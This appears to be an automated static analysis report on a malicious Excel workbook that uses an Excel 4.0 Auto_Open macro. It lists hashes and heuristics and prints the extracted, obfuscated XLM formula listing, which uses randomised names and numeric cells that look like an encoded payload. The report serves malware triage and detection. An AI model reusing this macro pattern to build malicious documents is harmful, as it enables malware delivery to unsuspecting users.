Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea7b46a96f184554…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:11 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: c16abc560e34a3254084e48f47067afb SHA-1: 47ac14744306edc3f8919dd997207fbf4c39efe9 SHA-256: ea7b46a96f184554e3a46f9d1990978fd55d01ef36fc9a5255510396527b1cce
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6926 bytes
SHA-256: 9d10bbf574b53578fc0022aac3ac6f5e3fb60ca971ab3c4c5065dbf2530a7c18
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'Sjdllxmvgnaa') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PtVWucJfEQ
' 0018     26 LABEL : Cell Value, String Constant - AQtQBuDZZBk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F144 
' 0018     25 LABEL : Cell Value, String Constant - cpyhNCIqiP len=0 
' 0018     21 LABEL : Cell Value, String Constant - fNgvVU len=0 
' 0018     27 LABEL : Cell Value, String Constant - FwItuIzXwlZW len=0 
' 0018     25 LABEL : Cell Value, String Constant - IaKsnAWBIY len=0 
' 0018     27 LABEL : Cell Value, String Constant - IptilYpLXnfm len=0 
' 0018     25 LABEL : Cell Value, String Constant - jPEEwcRsHU len=0 
' 0018     22 LABEL : Cell Value, String Constant - mWNMMoy len=0 
' 0018     27 LABEL : Cell Value, String Constant - QsdrNqgkDJnr len=0 
' 0018     21 LABEL : Cell Value, String Constant - RGJJXG len=0 
' 0018     26 LABEL : Cell Value, String Constant - rHvtXdYskLU len=0 
' 0018     22 LABEL : Cell Value, String Constant - rqPxjdn len=0 
' 0018     27 LABEL : Cell Value, String Constant - Sjdllxmvgnaa len=0 
' 0018     21 LABEL : Cell Value, String Constant - WLEbgk len=0 
' 0018     24 LABEL : Cell Value, String Constant - wuUXrBfpa len=0 
' 0018     20 LABEL : Cell Value, String Constant - xiAzV len=0 
' 0018     22 LABEL : Cell Value, String Constant - xkCDsuZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ymtDUoNjrn len=0 
' 0018     23 LABEL : Cell Value, String Constant - yOWwawSd len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZdMvzFWsK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PtVWucJfEQ,F47,"SET.NAME("FwItuIzXwlZW",0+VALUE("0"))",""
'  PtVWucJfEQ,F52,"SET.NAME("yOWwawSd",FwItuIzXwlZW)",""
'  PtVWucJfEQ,F54,"SET.NAME("rqPxjdn",FwItuIzXwlZW)",""
'  PtVWucJfEQ,F59,"SET.NAME("xiAzV",COUNTA(QsdrNqgkDJnr))",""
'  PtVWucJfEQ,F61,"SET.NAME("wuUXrBfpa",COUNTA(Sjdllxmvgnaa))",""
'  PtVWucJfEQ,F65,[],""
'  PtVWucJfEQ,F69,"SET.NAME("jPEEwcRsHU","")",""
'  PtVWucJfEQ,F74,"yOWwawSd",""
'  PtVWucJfEQ,F77,"SET.NAME("IptilYpLXnfm",HLOOKUP("*",QsdrNqgkDJnr,yOWwawSd,FALSE))",""
'  PtVWucJfEQ,F80,"ZdMvzFWsK",""
'  PtVWucJfEQ,F85,"SET.NAME("IaKsnAWBIY",FwItuIzXwlZW)",""
'  PtVWucJfEQ,F87,[],""
'  PtVWucJfEQ,F91,"IaKsnAWBIY",""
'  PtVWucJfEQ,F94,"xkCDsuZ",""
'  PtVWucJfEQ,S97,"",-670.00000000000000000000
'  PtVWucJfEQ,S98,"",831.00000000000000000000
'  PtVWucJfEQ,F99,"RGJJXG",""
'  PtVWucJfEQ,S99,"",161.00000000000000000000
'  PtVWucJfEQ,S100,"",68.00000000000000000000
'  PtVWucJfEQ,S101,"",-168.00000000000000000000
'  PtVWucJfEQ,S102,"",-329.00000000000000000000
'  PtVWucJfEQ,F104,"fNgvVU",""
'  PtVWucJfEQ,F108,"SET.NAME("rHvtXdYskLU",VALUE(HLOOKUP("*",Sjdllxmvgnaa,fNgvVU,FALSE)))",""
'  PtVWucJfEQ,F113,"cpyhNCIqiP",""
'  PtVWucJfEQ,F115,"jPEEwcRsHU",""
'  PtVWucJfEQ,F119,"rqPxjdn",""
'  PtVWucJfEQ,F124,NEXT(),""
'  PtVWucJfEQ,F126,"mWNMMoy",""
'  PtVWucJfEQ,F129,[],""
'  PtVWucJfEQ,F134,"ymtDUoNjrn",""
'  PtVWucJfEQ,F137,NEXT(),""
'  PtVWucJfEQ,F142,RETURN(),""
'  PtVWucJfEQ,F167,"SET.NAME("WLEbgk",F47)",""
'  PtVWucJfEQ,F171,"QsdrNqgkDJnr",""
'  PtVWucJfEQ,F175,"SET.NAME("Sjdllxmvgnaa",R80C15)",""
'  PtVWucJfEQ,F179,"SET.NAME("ymtDUoNjrn",187)",""
'  PtVWucJfEQ,F184,"SET.NAME("AQtQBuDZZBk",6)",""
'  PtVWucJfEQ,F186,WLEbgk(),""
'  PtVWucJfEQ,F187,HALT(),""

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